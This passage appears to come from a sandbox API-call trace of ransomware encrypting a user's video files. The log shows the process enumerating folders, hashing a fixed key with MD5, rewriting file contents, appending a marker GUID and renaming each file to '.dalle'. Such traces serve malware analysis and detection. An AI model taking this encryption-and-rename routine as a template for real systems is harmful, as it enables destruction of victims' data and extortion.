(lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.584] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.584] CloseHandle (hObject=0x618) returned 1 [0121.585] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\-ef3Wc3uX6CMMun91g7o.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ttcuw\\-ef3wc3ux6cmmun91g7o.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\-ef3Wc3uX6CMMun91g7o.avi.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ttcuw\\-ef3wc3ux6cmmun91g7o.avi.dalle")) returned 1 [0121.586] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.586] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.587] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.587] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf018b50, ftCreationTime.dwHighDateTime=0x1d4d2b5, ftLastAccessTime.dwLowDateTime=0x50f43e00, ftLastAccessTime.dwHighDateTime=0x1d4c6f8, ftLastWriteTime.dwLowDateTime=0x50f43e00, ftLastWriteTime.dwHighDateTime=0x1d4c6f8, nFileSizeHigh=0x0, nFileSizeLow=0xc0cd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="b6wh.swf", cAlternateFileName="")) returned 1 [0121.587] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\b6wh.swf") returned=".swf" [0121.587] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\b6wh.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ttcuw\\b6wh.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.587] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=49357) returned 1 [0121.587] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.589] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc0a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.589] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.593] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xc0cd, lpOverlapped=0x0) returned 1 [0121.594] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.594] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.594] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.594] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.595] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.595] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.595] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.595] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.595] GetLastError () returned 0x0 [0121.595] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.595] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.595] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.596] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc0cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.596] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.596] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.596] CloseHandle (hObject=0x618) returned 1 [0121.597] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\b6wh.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ttcuw\\b6wh.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\b6wh.swf.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ttcuw\\b6wh.swf.dalle")) returned 1 [0121.599] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.599] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.600] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5509e5d0, ftCreationTime.dwHighDateTime=0x1d4c883, ftLastAccessTime.dwLowDateTime=0xf53d45f0, ftLastAccessTime.dwHighDateTime=0x1d4cc3a, ftLastWriteTime.dwLowDateTime=0xf53d45f0, ftLastWriteTime.dwHighDateTime=0x1d4cc3a, nFileSizeHigh=0x0, nFileSizeLow=0x66be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wpWUhevKBRfd9lm.swf", cAlternateFileName="WPWUHE~1.SWF")) returned 1 [0121.600] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\wpWUhevKBRfd9lm.swf") returned=".swf" [0121.600] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\wpWUhevKBRfd9lm.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ttcuw\\wpwuhevkbrfd9lm.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.600] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=26302) returned 1 [0121.600] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.602] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6698, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.602] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.603] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x66be, lpOverlapped=0x0) returned 1 [0121.604] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.604] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.604] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.604] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.605] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.605] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.605] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.605] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.605] GetLastError () returned 0x0 [0121.605] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.605] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.605] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.606] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x66be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.606] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.606] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.606] CloseHandle (hObject=0x618) returned 1 [0121.607] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\wpWUhevKBRfd9lm.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ttcuw\\wpwuhevkbrfd9lm.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\wpWUhevKBRfd9lm.swf.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ttcuw\\wpwuhevkbrfd9lm.swf.dalle")) returned 1 [0121.607] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.607] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.608] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.608] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5509e5d0, ftCreationTime.dwHighDateTime=0x1d4c883, ftLastAccessTime.dwLowDateTime=0xf53d45f0, ftLastAccessTime.dwHighDateTime=0x1d4cc3a, ftLastWriteTime.dwLowDateTime=0xf53d45f0, ftLastWriteTime.dwHighDateTime=0x1d4cc3a, nFileSizeHigh=0x0, nFileSizeLow=0x66be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wpWUhevKBRfd9lm.swf", cAlternateFileName="WPWUHE~1.SWF")) returned 0 [0121.608] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.608] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.608] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.608] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.608] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.608] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\") returned="VAl2x_eF9QxFAJr5rV\\" [0121.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0121.609] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.609] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde950 | out: hHeap=0x5e0000) returned 1 [0121.609] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.609] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.609] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0121.609] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.609] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.609] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.609] PathFindFileNameW (pszPath="") returned="" [0121.609] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.609] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a363ce0, ftCreationTime.dwHighDateTime=0x1d4d109, ftLastAccessTime.dwLowDateTime=0x57c095a0, ftLastAccessTime.dwHighDateTime=0x1d4d49d, ftLastWriteTime.dwLowDateTime=0x57c095a0, ftLastWriteTime.dwHighDateTime=0x1d4d49d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0121.610] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a363ce0, ftCreationTime.dwHighDateTime=0x1d4d109, ftLastAccessTime.dwLowDateTime=0x57c095a0, ftLastAccessTime.dwHighDateTime=0x1d4d49d, ftLastWriteTime.dwLowDateTime=0x57c095a0, ftLastWriteTime.dwHighDateTime=0x1d4d49d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.610] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c982a30, ftCreationTime.dwHighDateTime=0x1d4d2a7, ftLastAccessTime.dwLowDateTime=0xfbf8150, ftLastAccessTime.dwHighDateTime=0x1d4cc6c, ftLastWriteTime.dwLowDateTime=0xfbf8150, ftLastWriteTime.dwHighDateTime=0x1d4cc6c, nFileSizeHigh=0x0, nFileSizeLow=0x6327, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="06x3ed5rZHiwke9E.flv", cAlternateFileName="06X3ED~1.FLV")) returned 1 [0121.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0121.610] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\06x3ed5rZHiwke9E.flv") returned=".flv" [0121.610] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\06x3ed5rZHiwke9E.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\val2x_ef9qxfajr5rv\\06x3ed5rzhiwke9e.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.610] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=25383) returned 1 [0121.610] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.612] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6301, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.612] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.614] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.614] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x6327, lpOverlapped=0x0) returned 1 [0121.614] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.614] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.614] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.614] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0121.615] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.615] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.615] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.615] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.615] GetLastError () returned 0x0 [0121.615] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.615] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0121.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x6330) returned 0x3096780 [0121.616] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.616] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x6322, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x6322, lpOverlapped=0x0) returned 1 [0121.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.616] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6327, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.616] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.616] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.616] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.616] CloseHandle (hObject=0x618) returned 1 [0121.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffff40 | out: hHeap=0x5e0000) returned 1 [0121.617] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\06x3ed5rZHiwke9E.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\val2x_ef9qxfajr5rv\\06x3ed5rzhiwke9e.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\06x3ed5rZHiwke9E.flv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\val2x_ef9qxfajr5rv\\06x3ed5rzhiwke9e.flv.dalle")) returned 1 [0121.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.618] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.619] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0664620, ftCreationTime.dwHighDateTime=0x1d4cf1f, ftLastAccessTime.dwLowDateTime=0x13cb6a60, ftLastAccessTime.dwHighDateTime=0x1d4d203, ftLastWriteTime.dwLowDateTime=0x13cb6a60, ftLastWriteTime.dwHighDateTime=0x1d4d203, nFileSizeHigh=0x0, nFileSizeLow=0x8d61, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hkYdWviKftqSOmoU.mp4", cAlternateFileName="HKYDWV~1.MP4")) returned 1 [0121.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0121.619] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\hkYdWviKftqSOmoU.mp4") returned=".mp4" [0121.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VAl2x_eF9QxFAJr5rV\\hkYdWviKftqSOmoU.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\val2x_ef9qxfajr5rv\\hkydwvikftqsomou.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.619] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=36193) returned 1 [0121.619] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.621] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8d3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.621] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.623] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.623] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x8d61, lpOverlapped=0x0) returned 1 [0121.623] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.623] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.623] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.623] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0121.624] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.624] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.624] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, 